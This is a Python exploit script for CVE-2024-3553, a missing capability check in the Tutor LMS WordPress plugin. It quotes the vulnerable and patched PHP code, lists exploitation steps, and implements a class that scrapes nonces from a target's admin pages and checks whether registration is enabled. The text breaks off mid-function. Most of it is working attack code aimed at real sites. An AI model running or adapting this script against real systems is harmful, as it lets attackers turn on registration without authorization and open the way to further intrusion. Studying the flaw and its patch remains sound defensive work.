#!/usr/bin/env python3 """ CVE-2024-3553 Exploit - Tutor LMS Missing Authorization Vulnerability Author: Security Researcher Date: 2024 VULNERABILITY DESCRIPTION: The Tutor LMS plugin for WordPress (versions <= 2.6.2) contains a missing capability check in the hide_notices() function in classes/User.php. VULNERABLE CODE (version 2.6.2): public function hide_notices() { $hide_notice = Input::get( 'tutor-hide-notice', '' ); $is_register_enabled = Input::get( 'tutor-registration', '' ); if ( is_admin() && 'registration' === $hide_notice ) { tutor_utils()->checking_nonce( 'get' ); if ( 'enable' === $is_register_enabled ) { update_option( 'users_can_register', 1 ); // <-- NO CAPABILITY CHECK! } else { self::$hide_registration_notice = true; setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath ); } } } THE FLAW: 1. The function checks if is_admin() - which only checks if the current page is in the admin area, NOT if the user is an administrator 2. It requires a valid nonce, BUT the nonce is checked AFTER the is_admin() check 3. The nonce is generated from the admin notice, which is accessible to any user who can view admin pages 4. There is NO capability check (like current_user_can('manage_options')) 5. This allows ANY user (even unauthenticated) to enable user registration PATCHED CODE (version 2.7.0): public function hide_notices() { $hide_notice = Input::get( 'tutor-hide-notice', '' ); $is_register_enabled = Input::get( 'tutor-registration', '' ); $has_manage_cap = current_user_can( 'manage_options' ); // <-- ADDED CAPABILITY CHECK if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) { tutor_utils()->checking_nonce( 'get' ); if ( 'enable' === $is_register_enabled ) { update_option( 'users_can_register', 1 ); } else { self::$hide_registration_notice = true; setcookie( 'tutor_notice_hide_registration', 1, time() + MONTH_IN_SECONDS, tutor()->basepath ); } } } IMPACT: - Unauthenticated attackers can enable user registration on sites where it's disabled - This allows attackers to create accounts on sites that should have registration disabled - Could lead to unauthorized access, spam accounts, or privilege escalation if combined with other vulnerabilities EXPLOITATION STEPS: 1. Obtain a valid nonce from any admin page (the nonce is public) 2. Craft a request with tutor-hide-notice=registration and tutor-registration=enable 3. Include the valid nonce in the request 4. Send the request to trigger the vulnerability 5. User registration is now enabled on the target site """ import argparse import requests import sys from urllib.parse import urljoin import re class TutorLMSExploit: def __init__(self, target_url): self.target_url = target_url.rstrip('/') self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def get_nonce(self): """ Extract the Tutor nonce from the WordPress admin area. The nonce is publicly accessible and used for the hide_notices functionality. """ print("[*] Step 1: Attempting to extract nonce from admin pages...") # Try to get nonce from the admin dashboard # Note: In vulnerable versions, the nonce is exposed in admin notices admin_url = urljoin(self.target_url, '/wp-admin/') try: response = self.session.get(admin_url, allow_redirects=True) # Look for the tutor nonce in the page # The nonce pattern is typically: _wpnonce= nonce_match = re.search(r'_wpnonce=([a-f0-9]+)', response.text) if nonce_match: nonce = nonce_match.group(1) print(f"[+] Successfully extracted nonce: {nonce}") return nonce # Alternative: Try to find tutor-specific nonce patterns tutor_nonce_patterns = [ r'tutor[_-]nonce["\']?\s*:\s*["\']([a-f0-9]+)["\']', r'data-nonce=["\']([a-f0-9]+)["\']', r'nonce["\']?\s*:\s*["\']([a-f0-9]+)["\']' ] for pattern in tutor_nonce_patterns: match = re.search(pattern, response.text, re.IGNORECASE) if match: nonce = match.group(1) print(f"[+] Successfully extracted nonce: {nonce}") return nonce print("[-] Could not find nonce in admin pages") print("[!] Note: This exploit requires a valid nonce which may be obtainable through:") print(" - Logged-in user access to admin area") print(" - Publicly exposed admin notices") print(" - Other information disclosure vulnerabilities") return None except Exception as e: print(f"[-] Error extracting nonce: {str(e)}") return None def check_registration_status(self): """Check if user registration is currently enabled.""" print("\n[*] Checking current registration status...") try: # Check the registration page register_url = urljoin(self.target_url, '/wp-login.php?action=register') response = self.session.get(register_url) if 'Registration is disabled' in response.text or \ 'Registrations are closed' in response.text or \ response.status_code == 302: # Redirect usually means disabled print("[+] Registration is currently DISABLED") return False elif '